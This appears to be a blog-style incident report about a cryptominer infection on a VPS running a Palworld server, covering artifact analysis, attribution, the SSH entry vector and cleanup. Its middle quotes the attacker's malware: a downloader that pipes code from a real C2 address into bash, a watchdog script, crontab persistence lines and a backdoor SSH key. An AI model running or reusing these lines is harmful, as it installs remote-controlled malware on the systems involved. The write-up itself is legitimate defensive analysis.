It starts with a routine Redis check
I just wanted to check the state of my Redis server — no particular reason, just curiosity. The server runs on a Hostinger VPS, hosting among other things a Palworld game server I'd set up for a few sessions with friends.
First reassuring thing: Redis was clean. Bound only to 127.0.0.1, protected mode enabled, 3 legitimate keys belonging to rspamd (the mail server's spam filter), no suspicious commands in the logs. No unauthorized replication, no injected keys, no malicious Lua script.
I was about to call it done. Then I searched for recently modified files.
First signals
The basic command to search for hidden files created after system installation:
find / -name '.*' -maxdepth 4 -newer /etc/passwd 2>/dev/null
Normal results scroll by — config files, git, ssh. And then:
`.ladyg0g0`, `.pr1nc35`, `.b4nd1d0`. Named to avoid attention at first glance, but distinctive enough for someone who knows how to look. Files in /dev/shm were legitimate zstandard compressed data belonging to rspamd. But /var/tmp/ was something else.
/var/tmp/.ladyg0g0/.pr1nc35
/var/tmp/dbf58ca4/.b4nd1d0
/var/tmp/dbf58ca4/.c
/var/tmp/dbf58ca4/21112101
/var/tmp/dbf58ca4/2958062d
File autopsy
The text files reveal the attack structure. `.pr1nc35` simply contains the working directory path. `.b4nd1d0` is a watchdog script that checks whether the process is already running before launching it.
#!/bin/bash
m1lbe1() {
if ! pgrep -x fd93fba7 >/dev/null; then
cd /var/tmp/dbf58ca4
./fd93fba7 >/dev/null 2>&1
else
exit 1
fi
}
`.c` is the downloader — it contacts the C2 server to fetch a new payload and execute it directly in memory via `curl | bash`. If the first C2 doesn't respond, it falls back to a fallback domain.
#!/bin/bash
if curl -s --connect-timeout 15 195.24.237.240/.x/black3; then
curl -s 195.24.237.240/.x/black3 | bash >/dev/null 2>&1
else
curl -s --connect-timeout 15 digital.digitaldatainsights.org/.x/black3 | bash >/dev/null 2>&1
fi
The two binaries: `21112101` (3.1 MB, statically linked 64-bit ELF) and `2958062d` (826 KB, same type). Running `strings` on the larger one reveals fragments `xMR` and `pool` — it's XMRig, the most widely used Monero miner in server infections.
Persistence: crontab and SSH backdoor
The miner is launched every minute, at startup, daily and monthly — quadruple redundancy. The `.c` script runs every 30 minutes to re-download a fresh payload from the C2, allowing the attacker to update the malware without accessing the server again.
@daily /var/tmp/dbf58ca4/./c90a5f7e >/dev/null 2>&1 & disown
@reboot /var/tmp/dbf58ca4/./c90a5f7e >/dev/null 2>&1 & disown
* * * * * /var/tmp/dbf58ca4/./c90a5f7e >/dev/null 2>&1 & disown
@monthly /var/tmp/dbf58ca4/./c90a5f7e >/dev/null 2>&1 & disown
*/30 * * * * /var/tmp/dbf58ca4/./.c >/dev/null 2>&1 & disown
And in /home/palworld/.ssh/authorized_keys, an SSH key added on January 11, 2026 — the same day as all the malicious files. The attacker kept a backdoor with direct access to the account.
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoBjnno5GB...w== ElPatrono1337
Attacker identified: Diicot / color1337
The `ElPatrono1337` SSH key is a documented marker. The group is known under the names Diicot, color1337 and ElPatrono1337, active since at least 2023 and whose variants continue to evolve. The same public SSH key hash appears in all documented incidents — it's a reliable signature.
The attacker operates from IPs registered at VMHeaven.io — the two main identified ranges are 45.156.87.0/24 and 176.65.132.0/24.
Another characteristic of the group: the malware behaves like a worm. Once installed, it attempts to spread to other machines accessible via SSH by trying to connect with a `node` user it creates itself. It scans the local network environment to find other targets.
How they got in
Redis is not the vector — unlike the classic attack that exploits an exposed Redis instance without auth to write an SSH key via CONFIG SET. Here Redis is bound to 127.0.0.1 only.
The real vector: SSH password brute force, made possible by a silent configuration trap.
The /etc/ssh/sshd_config file declared PasswordAuthentication no. But cloud-init had created /etc/ssh/sshd_config.d/50-cloud-init.conf with PasswordAuthentication yes — and this file takes priority over the main config. Password authentication was therefore active without the administrator's knowledge.
The palworld user (game server exposed to the internet) had a weak password. color1337 bots continuously brute-force SSH. Everything else followed mechanically.
Aggravating detail: palworld was in the sudo group. The attacker therefore had a direct path to root from their initial access.
# sshd_config principal :
PasswordAuthentication no
# /etc/ssh/sshd_config.d/50-cloud-init.conf (prioritaire) :
PasswordAuthentication yes ← override silencieux
# Config réelle chargée en mémoire :
passwordauthentication yes
In-depth audit: group IoCs
Invirtuate's article lists the known indicators of compromise for color1337. Checking them one by one on the server:
User `node` created by the worm — absent. The malware normally creates this account to propagate via SSH to other machines. Its absence suggests the propagation phase did not take place or failed.
Systemd service `/usr/lib/systemd/system/myservices.service` — absent. This service is used as an alternative persistence mechanism to the crontab in other malware variants.
Script `/usr/bin/ssshd` — absent. This is the same downloader as `.c`, but positioned in a system path to appear legitimate.
File `/usr/bin/.locatione` — absent. Pointer to the malware's working directory.
This January 2026 variant did not deploy all documented modules — probably an intermediate version of the campaign. The infection stopped at the miner and SSH backdoor, without propagation to other servers.
Cleanup
The complete procedure, in order:
# 1. Couper la persistance
crontab -u palworld -r
# 2. Supprimer les fichiers malveillants
rm -rf /var/tmp/dbf58ca4 /var/tmp/.ladyg0g0
rm -rf /var/tmp/f9c14cb3 /var/tmp/4b3c920f /var/tmp/c6b71af4 /var/tmp/09a42dcc
# 3. Retirer la backdoor SSH
sed -i '/ElPatrono1337/d' /home/palworld/.ssh/authorized_keys
# 4. Bloquer le C2 et les ranges de l'attaquant
iptables -A INPUT -s 195.24.237.240 -j DROP
iptables -A OUTPUT -d 195.24.237.240 -j DROP
iptables -A INPUT -s 45.156.87.0/24 -j DROP
iptables -A OUTPUT -d 45.156.87.0/24 -j DROP
iptables -A INPUT -s 176.65.132.0/24 -j DROP
iptables -A OUTPUT -d 176.65.132.0/24 -j DROP
iptables-save > /etc/iptables/rules.v4
# 5. Supprimer le vecteur d'entrée
userdel -r palworld
# 6. Corriger la config SSH
echo 'PasswordAuthentication no' > /etc/ssh/sshd_config.d/50-cloud-init.conf
printf '[Service]\nPermitRootLogin prohibit-password\nPasswordAuthentication no\n' \
> /etc/ssh/sshd_config.d/01-hardening.conf
systemctl reload sshd
passwd root # changer le mot de passe root
The `c90a5f7e` miner referenced in the crontab no longer existed at the time of analysis — deleted or replaced by a previous run of the downloader. The server was running at 0% CPU. But the `.c` script would have re-injected a new payload at its next execution every 30 minutes.
What this teaches
cloud-init can silently override your SSH config. That's the most important lesson. sshd_config.d/50-cloud-init.conf takes priority over sshd_config. A PasswordAuthentication no in the main file is useless if cloud-init rewrites it. Always verify with `sshd -T | grep passwordauthentication` — that's the actual config loaded in memory.
Game servers are overlooked attack vectors. A Palworld, Minecraft, or Valheim server is code listening on a network port, often with little security attention and irregular updates. Same rule as a web service: patch, isolate, monitor.
Never put a service user in sudo. The palworld user was in the sudo group — a convenience decision at configuration time. With the SSH backdoor, it opened a direct path to root.
Files in /var/tmp survive reboots. Unlike /tmp, /var/tmp is designed to persist. An ideal area for an attacker who wants to maintain files between reboots without touching monitored system directories.
Redis was flawless. The audit started with Redis, properly configured. The lesson: check the entire server, not just the service that motivated the audit.